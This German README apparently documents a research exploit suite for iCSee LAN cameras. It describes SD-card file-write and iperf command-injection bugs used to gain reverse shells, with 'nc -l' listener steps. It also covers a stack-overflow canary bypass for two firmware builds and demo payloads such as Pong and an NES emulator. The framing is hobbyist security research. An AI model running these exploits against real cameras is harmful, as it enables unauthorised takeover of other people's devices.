
Dies ist eine Suite von Tools/PoCs/Exploits für Kameras, die die iCSee-Anwendung verwenden. Und ja – es kann NES-Spiele ausführen!
Dies ist eine Sammlung von Tools/PoCs/Exploits, die für iCSee-Videoanrufkameras über LAN verwendet werden können (und möglicherweise auch für Nicht-Videoanrufkameras). Dies könnte leicht verwendet werden, um alternative Firmware als Ersatz für die SD-Karten-Update-Methode zu flashen.
Hinweis: Jeder Speicherkorruptions-Exploit funktioniert nur, wenn die Firmwareversion Ihrer Kamera V5.00.R02.000949U5.10000.141324.0000010 oder V5.00.R02.000807E5.10000.346724.0000010 ist – diese Exploits basieren auf festen Offsets, die sich bei jedem Firmware-Build ändern.
[0] Aufzählung, Zerlegung und Firmware-Extraktion
[1] Die Sprache der Kameras lernen
[2] Nutzlose Integer-Überläufe und einige nützliche Fehler finden
[3] Tod durch Stack-Überläufe + Canary-Spaß
[5] Andere Kamera, gleiche App
[6] Bestätigung + vollständiger Speicherkorruptions-Exploit auf zweiter Kamera
[7] NES-Spiele auf der Kamera emulieren
pycryptodome : Für RSA-Login-Verschlüsselungpwntools : Für Shellcodepyftpdlib : Für FTP-Serverpynput : Für NES-Tastatureingabeget_system_infoDies nutzt die get_system_info-Methode, um Informationen über die Kamera über Port 34567 abzurufen.
python3 icseeu.py get_system_info
{
"Name": "SystemInfo",
"Ret": 100,
"SessionID": "0x0001869f",
"SystemInfo": {
"AlarmInChannel": 0,
"AlarmOutChannel": 0,
"AudioInChannel": 1,
"BuildTime": "2024-06-27 10:33:41",
"CombineSwitch": 0,
"DeviceModel": "IPC_GK7201V300_G2-WR-V_S38",
"DeviceRunTime": "0x000026c6",
"DeviceType": 7,
"DigChannel": 0,
"EncryptVersion": "Unknown",
"ExtraChannel": 0,
"HardWare": "IPC_GK7201V300_G2-WR-V_S38",
"HardWareVersion": "Unknown",
"Pid": "A909409U5000000N",
"SerialNo": "bf7816d59506ec06",
"SoftWareVersion": "V5.00.R02.000949U5.10000.141324.0000010",
"TalkInChannel": 1,
"TalkOutChannel": 1,
"UpdataTime": "",
"UpdataType": "0x00000000",
"VideoInChannel": 1,
"VideoOutChannel": 1
}
}
ftp_get_logsNutzt eine verbleibende Textfunktionalität, um Protokolle vom Gerät zu ziehen (Protokolle landen in FTPTestDir/Test).
python3 icseeu.py ftp_get_logs
gdb_revshellNutzt eine SD-Karten-Datei-Schreibschwachstelle und die iperf-Binary-Ausführungsschwachstelle, die die ferne Ausführung eines auf der SD-Karte vorhandenen Binärprogramms ermöglicht, um eine Reverse Shell zu erhalten und einen GDB-Debugger zu starten, der sich an den Haupt-App-Prozess anhängt.
Terminal 1:
nc -l 1234
Terminal 2:
python3 icseeu.py gdb_revshell
Terminal 3:
gdb-multiarch
gef-remote 192.168.188.2 8888
Hinweis: Stoppen Sie das Programm nicht länger als 30 Sekunden, da der Watchdog sonst protestiert und der App-Prozess neu gestartet wird!
Hinweis 2: Möglicherweise müssen Sie die fest codierten IP-Adressen im Payload (GDB_Revshell/remote_mgmt.c) so ändern, dass sie die IP Ihres Rechners im LAN ist, und den Payload neu erstellen.
gdb_revshell_injectNutzt eine SD-Karten-Datei-Schreibschwachstelle und die iperf-Befehlseinschleusungsschwachstelle, die die ferne Ausführung eines auf der SD-Karte vorhandenen Binärprogramms ermöglicht, um eine Reverse Shell zu erhalten und einen GDB-Debugger zu starten, der sich an den Haupt-App-Prozess anhängt.
Dies ist nützlich für Geräte, die bereits ein iperf-Binary besitzen, was die andere Methode verhindert.
Terminal 1:
nc -l 1234
Terminal 2:
python3 icseeu.py gdb_revshell_inject
Terminal 3:
gdb-multiarch
gef-remote 192.168.188.2 8888
Hinweis: Stoppen Sie das Programm nicht länger als 30 Sekunden, da der Watchdog sonst protestiert und der App-Prozess neu gestartet wird!
Hinweis 2: Möglicherweise müssen Sie die fest codierten IP-Adressen im Payload (GDB_Revshell/remote_mgmt.c) so ändern, dass sie die IP Ihres Rechners im LAN ist, und den Payload neu erstellen.
iperf_inject_exploitNutzt die iperf-Befehlseinschleusung, um eine Reverse Shell herzustellen.
Terminal 1:
nc -l 1234
Terminal 2:
python3 icseeu.py iperf_inject_exploit
Hinweis: Möglicherweise müssen Sie die fest codierten IP-Adressen im Payload (Revshell_Inject/remote_mgmt.c) so ändern, dass sie die IP Ihres Rechners im LAN ist, und den Payload neu erstellen.
Dies sind Exploits für den zweiten Stack-Überlauf im Handler für den Nachrichtentyp 0x7d8. Dieser Überlauf ist interessant, weil er es ermöglicht, die Stack-Canary zu umgehen und Codeausführung zu erlangen.
Sie müssen den Dispatcher-Payload erstellen, bevor diese funktionieren (führen Sie make im Verzeichnis PayloadDispatcher aus), und den Payload, den Sie auf der Kamera ausführen möchten, indem Sie make in den entsprechenden Verzeichnissen ausführen (z. B. ImageDisplay).
Hinweise:
screenflashZeigt, dass wir Codeausführung haben, indem der Bildschirm blinkt.
python3 icseeu.py exploit_goke screenflash
rgbZeigt, dass wir Kontrolle über den Bildschirm haben, indem RGB-Farben blinken.
python3 icseeu.py exploit_goke rgb
imagedisplayNutzt das Dateischreiben, um ein rohes RGB 5:6:5-Bild hochzuladen. Führen Sie ffmpeg -i image.jpg -vf scale=240:320 -c:v rawvideo -pix_fmt rgb565 -f rawvideo image.raw auf einem Bild im Verzeichnis aus, um eine image.raw-Datei im Verzeichnis ImageDisplay zu erhalten, damit dies funktioniert. Das Bild wird auf dem Bildschirm angezeigt.
python3 icseeu.py exploit_goke imagedisplay
buttontestZeigt, dass wir den Zustand der Tasten lesen können; blinkt eine Farbe, wenn eine der Tasten gedrückt wird.
python3 icseeu.py exploit_goke buttontest
pongEine minimale Implementierung des Pong-Spiels, die zeigt, dass wir Kontrolle über den Bildschirm und die Tasten vorne haben; demonstriert auch einen etwas komplexeren Payload.
python3 icseeu.py exploit_goke pong
nesEin portierter NES-Emulator, der die in GOKE_Payloads/nes abgelegte rom.nes abspielen kann. Führen Sie make in GOKE_Payloads/nes/smolnes und GOKE_Payload/nes aus, um Binärdateien zu erstellen.
python3 icseeu.py exploit_goke nes